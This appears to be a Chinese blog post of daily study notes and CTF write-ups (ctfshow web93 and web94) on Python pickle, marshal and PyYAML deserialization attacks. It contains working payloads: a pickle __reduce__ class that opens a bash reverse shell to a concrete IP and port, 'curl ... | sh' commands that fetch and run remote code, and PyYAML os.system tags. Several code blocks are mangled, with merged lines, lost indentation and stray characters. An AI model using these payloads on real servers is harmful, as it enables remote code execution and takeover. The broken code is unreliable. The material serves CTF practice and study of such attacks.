当前位置: 首页 > news >正文

Jay17 2023.8.10日报

笔记

【python反序列化】

序列化
类对象->字节流(字符串)

反序列化
字节流->对象

python反序列化没PHP这么灵活,没这么多魔术方法。


import pickle
import os

class ctfshow():
def init(self):
self.username=0
self.password=0

def login(self,username,password):return username=="admin" and password=="123456"

c=ctfshow()

data=c.login(“admin”,“123456”) #返回True

print(data)


import pickle
import os
import base64

class ctfshow():
def init(self):
self.username=0
self.password=0

def login(self,username,password):return username=="admin" and password=="123456"#相当于PHP里面的__wakeup()
#返回值,第一个元素是 回调函数,第二个元素是回调函数的参数。
#第二个元素是一个元组,包含两个及以上元素。
def __reduce__(self):print("reduce")return os.system,('bash -i >& /dev/tcp/120.46.41.173/9023 0>&1',)



c=ctfshow()

#序列化,生成字节流。这种方式,直接CV容易丢失不可见字符。
#serialize = pickle.dumps©
#输出base64编码后的paylaod,可以CV。
#print(base64.b64encode(serialize))
#反序列化,执行命令
#pickle.loads(serialize)

#写入文件
with open(“ctfshow.ser”,“wb”) as f:
pickle.dump(c,f)
with open(“ctfshow.ser”,“rb”) as f:
pickle.load(f)


注意点:
向服务端传入payload,如果出现报错如【ModuleNotFoundError: No module named ‘nt’】
遇到这种情况是因为自己的操作系统和服务器的操作系统不一致。

服务端如果是linux,我们的序列化字符串(payload) 也得在linux操作系统里面生成。

python序列化常用的模板: //例题93
1 pickle
2 json

【特征:】
竟然不需要 恶意类

反序列化字符串里面包含类的所有定义,包括类的方法
php反序列化时,只能控制类的属性,利用现有的魔术方法做跳板
python反序列化时,直接可以不需要恶意类,也不需要现有的魔术方法,直接产生类的定义并执行__reduce__方法




Marshal 反序列化
pickle 类无法序列化 code类,为了弥补这个问题,2.6以后增加了marshal模块来处理

模板:
import base64
import pickle
import marshal

def foo():
import os
os.system(‘whoami;/bin/sh’) # evil code

shell = “”“ctypes
FunctionType
(cmarshal
loads
(cbase64
b64decode
(S’%s’
tRtRc__builtin__
globals
(tRS’’
tR(tR.”“” % base64.b64encode(marshal.dumps(foo.func_code))

print(pickle.loads(shell))




PyYAML 反序列化 //例题94
!!python/object 标签
!!python/object/new 标签
!!python/object/apply 标签

payload:
data=!!python/object/apply:os.system [“curl https://your-shell.com/43.154.107.226:3389 |sh”]




题解wp

web93

题目要求我们在/unserialize路由POST提交一个参数data,data经过base64编码。

image-20230810164544248

不知道题目的考点,先传参data=MQ==看看报错。MQ==1的base64编码。

image-20230810165052158

发现了关键代码,pickle反序列化。pytohn版本是3.8

#base64解码传进来的值,并且赋值给data
data = base64.b64decode(request.form['data'])
#反序列化data数据
pickle.loads(data)
#返回反序列化结束提示
return "unserialize done "+request.form['data']

生成payload的脚本:

import pickle
import os
import base64class ctfshow():def __init__(self):self.username=0self.password=0#相当于PHP里面的__wakeup()#返回值,第一个元素是 回调函数,第二个元素是回调函数的参数。#第二个元素是一个元组,包含两个及以上元素。def __reduce__(self):print("reduce")#弹shellreturn (os.system,('curl https://your-shell.com/vps-ip:port | sh',))c=ctfshow()#序列化,生成字节流。这种方式,直接CV容易丢失不可见字符。
serialize = pickle.dumps(c)
#输出base64编码后的paylaod,可以CV。
print(base64.b64encode(serialize))#反序列化,执行命令
#pickle.loads(serialize)#写入文件
#with open("ctfshow.ser","wb") as f:
#	pickle.dump(c,f)
#with open("ctfshow.ser","rb") as f:
#	pickle.load(f)

注意点:

向服务端传入payload,如果出现报错如**【ModuleNotFoundError: No module named ‘nt’】**
遇到这种情况是因为自己的操作系统和服务器的操作系统不一致。
服务端如果是linux,我们的序列化字符串(payload) 也得在linux操作系统里面生成。

同时,python版本也需要一致。

KALI是linux,在KALI里面生成payload。

那就又来了一个注意点

一开始一直报错:

partially initialized module 'pickle' has no attribute 'dumps' (most likely due to a circular import)

image-20230810172808787

尝试过重装pickle库、重装pip,都没用。后来发现是文件名和pickle库的名字重了,文件名不能是pickle.py

image-20230810172845065

经过尝试,服务端应该是把ncbash两个命令给ban了,只能用平台来弹shell。

image-20230810201223690

image-20230810201240153

web94

题目明显提示是python中的PyYAML 反序列化。

image-20230810214851629

PyYAML 反序列化利用方面,危险标签有三种。

!!python/object 标签
!!python/object/new 标签
!!python/object/apply 标签

这次还是选择使用平台来反弹shell,估计还是把ncbash两个命令给ban了。

经过尝试,能用的危险标签是!!python/object/new!!python/object/apply

payload:

data=!!python/object/new:os.system ["curl https://your-shell.com/vps-ip:port |sh"]data=!!python/object/apply:os.system ["curl https://your-shell.com/vps-ip:port |sh"]

image-20230810215348295

直接拿flag了。

image-20230810215421614

相关文章:

Jay17 2023.8.10日报

笔记 【python反序列化】 序列化 类对象->字节流(字符串) 反序列化 字节流->对象 python反序列化没PHP这么灵活,没这么多魔术方法。 import pickle import os class ctfshow(): def init(self): self.username0 self.password0 d…...

Winform中DatagridView 表头实现一个加上一个checkBox,实现全选选项功能

实现效果 点击checkBox1或者直接在第一列列表头点击即可实现 代码实现 我的datagridview叫dgv 我在datagridview已经默认添加了一个DataGridViewCheckBoxColumn,勾选时value为1,不勾选时value为0 第一种通过可视化拖动一个checkBox来实现 拖动组…...

rust基础

这是笔者学习rust的学习笔记(如有谬误,请君轻喷) 参考视频: https://www.bilibili.com/video/BV1hp4y1k7SV参考书籍:rust程序设计语言:https://rust.bootcss.com/title-page.htmlmarkdown地址:h…...

剑指offer39.数组中出现次数超过一半的数字

这个题非常简单&#xff0c;解法有很多种&#xff0c;我用的是HashMap记录每个元素出现的次数&#xff0c;只要次数大于数组长度的一半就返回。下面是我的代码&#xff1a; class Solution {public int majorityElement(int[] nums) {int len nums.length/2;HashMap<Integ…...

spring技术栈面试题

1 Spring支持的事务管理类型有哪些&#xff1f;你在项目中使用哪种方式&#xff1f; Spring支持两种类型的事务管理&#xff1a; 编程式事务管理&#xff1a;这意味你通过编程的方式管理事务&#xff0c;给你带来极大的灵活性&#xff0c;但是难维护。声明式事务管理&#x…...

Android Glide MemorySizeCalculator计算值,Kotlin

Android Glide MemorySizeCalculator计算值,Kotlin for (i in 100..1000 step 50) {val calculator MemorySizeCalculator.Builder(this).setMemoryCacheScreens(i.toFloat()).setBitmapPoolScreens(i.toFloat()).setMaxSizeMultiplier(0.8f).setLowMemoryMaxSizeMultiplier(0…...

KEIL自带的Jlink怎么升级更换版本

问题背景 V4.20以上的keil安装包中都自带Jlink驱动包&#xff0c;即当你安装了KEIL后&#xff0c;Debug或Download就是用的安装KEIL时附带安装的Jlink版本。 那如果存在这种情况&#xff0c;你正在开发的芯片比较新&#xff0c;只有比较新的Jlink驱动软件才能支持&#xff0c…...

图的遍历之 深度优先搜索和广度优先搜索

深度优先搜索的图文介绍 1. 深度优先搜索介绍 图的深度优先搜索(Depth First Search)&#xff0c;和树的先序遍历比较类似。 它的思想&#xff1a;假设初始状态是图中所有顶点均未被访问&#xff0c;则从某个顶点v出发&#xff0c;首先访问该顶点&#xff0c;然后依次从它的各…...

Java学习笔记27——file类

File类 概述和构造方法概述构造方法 File的创建功能File类判断和获取功能File的删除功能 概述和构造方法 概述 在java.io下 具体的类 file是文件和目录路径名的抽象表示 文件和目录是可以封装成对象的对于file而言&#xff0c;其封装的并不是真正存在的文件&#xff08;可以…...

细胞——求细胞数量 C++详解

细胞——求细胞数量 C详解 求细胞数量题目描述输入格式输出格式样例样例输入样例输出 提示数据规模与约定 解法代码 求细胞数量 题目描述 一矩形阵列由数字 0 0 0 到 9 9 9 组成&#xff0c;数字 1 1 1 到 9 9 9 代表细胞&#xff0c;细胞的定义为沿细胞数字上下左右若还…...

【计算机视觉】关于图像处理的一些基本操作

目录 图像平滑滤波处理均值滤波计算过程python实现 高斯滤波计算过程python实现 中值滤波计算过程python实现 图像的边缘检测Robert算子计算过程python实现 图像处理腐蚀算子计算过程python实现 Hog&#xff08;梯度方向直方图&#xff09;特征计算流程&#xff1a;Hog的特征维…...

Android Animation Made Easy

原文链接 Android Animation Made Easy 动画在任何一个GUI系统中都是一个非常重要的设计元素&#xff0c;它可以让交互变得优雅&#xff0c;让界面变得炫酷&#xff0c;让操作变得更加的舒畅&#xff0c;让状态过渡变得更加的顺滑&#xff0c;对视觉效果有极大的提升&#xff…...

56从零开始学Java之与字符串相关的正则表达式

作者&#xff1a;孙玉昌&#xff0c;昵称【一一哥】&#xff0c;另外【壹壹哥】也是我哦 千锋教育高级教研员、CSDN博客专家、万粉博主、阿里云专家博主、掘金优质作者 前言 在上一篇文章中&#xff0c;壹哥给大家介绍了String字符串及其各种常用API方法&#xff0c;接下来壹哥…...

STM32 定时器自动重装载寄存器ARR带来的影响,ARPE0和1区别

ARR是啥 自动重载寄存器是预装载的。对自动重载寄存器执行写入或读取操作时会访问预装载寄存器。预装载寄存器的内容既可以直接传送到影子寄存器&#xff0c;也可以在每次发生更新事件 (UEV) 时传送到影子寄存器&#xff0c;这取决于 TIMx_CR1 寄存器中的自动重载预装载使能位 …...

vue 把<style scoped lang=“less“> 单独写成less文件再导入使用

1 npm npm install less-loader --save-dev2 创建一个单独的 Less 文件&#xff0c;例如 app.less <style scoped lang"less"> import url(./app.less); </style>3 在 app.less 文件中&#xff0c;编写 Less 样式代码 .container {width: 500px;margi…...

C++ 字符串

C 字符串 一、字符串两种写法 c语言的写法&#xff0c;可以延用 const char* str1 "huang"; char str2[] "Hello, World!";c写法 std::string str "Hello, World!";二、字符串计算长度 c语言的计算字符串长度&#xff0c;需要导入库 #inc…...

springboot 报错处理(长期更新 2023.8.10)

目录 一、HTTP 相关1.1、 数据传输方面1.1.1、 HttpMessageNotWritableException1.1.1.1、 springboot + stomp 场景一、HTTP 相关 1.1、 数据传输方面 1.1.1、 HttpMessageNotWritableException 1.1.1.1、 springboot + stomp 场景 报错内容: 使用 spring boot 和 stomp 服…...

Maven出现报错 ; Unable to import maven project: See logs for details错误的多种解决方法

问题现象; IDEA版本&#xff1a; Maven 版本 &#xff1a; 3.3.9 0.检查 maven 的设置 &#xff1a;F:\softeware\maven\apache-maven-3.9.3\conf 检查setting.xml 配置 本地仓库<localRepository>F:\softeware\maven\local\repository</localRepository>镜像…...

33_windows环境debug Nginx 源码-安装WSL

文章目录 前言安装 WSL先决条件启用 windows 更新功能真正安装 WSL133_windows环境debug Nginx 源码-安装WSL前言 虽然很想在纯 windows 环境,基于windows 的生态完成debug,但现实情况是 由于Nginx 源码编写的很多内容都和 linux 更加耦合;且不说使用 Visual-Studio 安装 C/…...

Java中的ZooKeeper是什么?

Java中的ZooKeeper是一个开源的分布式协调服务&#xff0c;它可以帮助我们管理分布式系统中的数据和配置信息。ZooKeeper是由Facebook开发的一个开源项目&#xff0c;它被广泛用于Facebook的分布式系统。 ZooKeeper的名称来源于动物园管理员&#xff08;Zookeeper&#xff09;…...

Python|GIF 解析与构建(5):手搓截屏和帧率控制

目录 Python&#xff5c;GIF 解析与构建&#xff08;5&#xff09;&#xff1a;手搓截屏和帧率控制 一、引言 二、技术实现&#xff1a;手搓截屏模块 2.1 核心原理 2.2 代码解析&#xff1a;ScreenshotData类 2.2.1 截图函数&#xff1a;capture_screen 三、技术实现&…...

三维GIS开发cesium智慧地铁教程(5)Cesium相机控制

一、环境搭建 <script src"../cesium1.99/Build/Cesium/Cesium.js"></script> <link rel"stylesheet" href"../cesium1.99/Build/Cesium/Widgets/widgets.css"> 关键配置点&#xff1a; 路径验证&#xff1a;确保相对路径.…...

day52 ResNet18 CBAM

在深度学习的旅程中&#xff0c;我们不断探索如何提升模型的性能。今天&#xff0c;我将分享我在 ResNet18 模型中插入 CBAM&#xff08;Convolutional Block Attention Module&#xff09;模块&#xff0c;并采用分阶段微调策略的实践过程。通过这个过程&#xff0c;我不仅提升…...

以下是对华为 HarmonyOS NETX 5属性动画(ArkTS)文档的结构化整理,通过层级标题、表格和代码块提升可读性:

一、属性动画概述NETX 作用&#xff1a;实现组件通用属性的渐变过渡效果&#xff0c;提升用户体验。支持属性&#xff1a;width、height、backgroundColor、opacity、scale、rotate、translate等。注意事项&#xff1a; 布局类属性&#xff08;如宽高&#xff09;变化时&#…...

从零实现富文本编辑器#5-编辑器选区模型的状态结构表达

先前我们总结了浏览器选区模型的交互策略&#xff0c;并且实现了基本的选区操作&#xff0c;还调研了自绘选区的实现。那么相对的&#xff0c;我们还需要设计编辑器的选区表达&#xff0c;也可以称为模型选区。编辑器中应用变更时的操作范围&#xff0c;就是以模型选区为基准来…...

解决Ubuntu22.04 VMware失败的问题 ubuntu入门之二十八

现象1 打开VMware失败 Ubuntu升级之后打开VMware上报需要安装vmmon和vmnet&#xff0c;点击确认后如下提示 最终上报fail 解决方法 内核升级导致&#xff0c;需要在新内核下重新下载编译安装 查看版本 $ vmware -v VMware Workstation 17.5.1 build-23298084$ lsb_release…...

Spring Boot面试题精选汇总

&#x1f91f;致敬读者 &#x1f7e9;感谢阅读&#x1f7e6;笑口常开&#x1f7ea;生日快乐⬛早点睡觉 &#x1f4d8;博主相关 &#x1f7e7;博主信息&#x1f7e8;博客首页&#x1f7eb;专栏推荐&#x1f7e5;活动信息 文章目录 Spring Boot面试题精选汇总⚙️ **一、核心概…...

【Zephyr 系列 10】实战项目:打造一个蓝牙传感器终端 + 网关系统(完整架构与全栈实现)

🧠关键词:Zephyr、BLE、终端、网关、广播、连接、传感器、数据采集、低功耗、系统集成 📌目标读者:希望基于 Zephyr 构建 BLE 系统架构、实现终端与网关协作、具备产品交付能力的开发者 📊篇幅字数:约 5200 字 ✨ 项目总览 在物联网实际项目中,**“终端 + 网关”**是…...

【OSG学习笔记】Day 16: 骨骼动画与蒙皮(osgAnimation)

骨骼动画基础 骨骼动画是 3D 计算机图形中常用的技术&#xff0c;它通过以下两个主要组件实现角色动画。 骨骼系统 (Skeleton)&#xff1a;由层级结构的骨头组成&#xff0c;类似于人体骨骼蒙皮 (Mesh Skinning)&#xff1a;将模型网格顶点绑定到骨骼上&#xff0c;使骨骼移动…...

大学生职业发展与就业创业指导教学评价

这里是引用 作为软工2203/2204班的学生&#xff0c;我们非常感谢您在《大学生职业发展与就业创业指导》课程中的悉心教导。这门课程对我们即将面临实习和就业的工科学生来说至关重要&#xff0c;而您认真负责的教学态度&#xff0c;让课程的每一部分都充满了实用价值。 尤其让我…...